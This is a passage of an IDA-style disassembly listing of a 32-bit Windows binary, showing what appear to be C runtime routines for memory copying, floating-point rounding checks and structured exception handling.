		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2C0
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2FC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8D4, offset sub_421935
		mov	off_43C8D0, eax
		mov	off_43C8D8, offset sub_42199B
		mov	off_43C8DC, offset sub_4218DB
		mov	off_43C8E0, offset sub_421983
		mov	off_43C8E4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2D8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB354
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2DC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

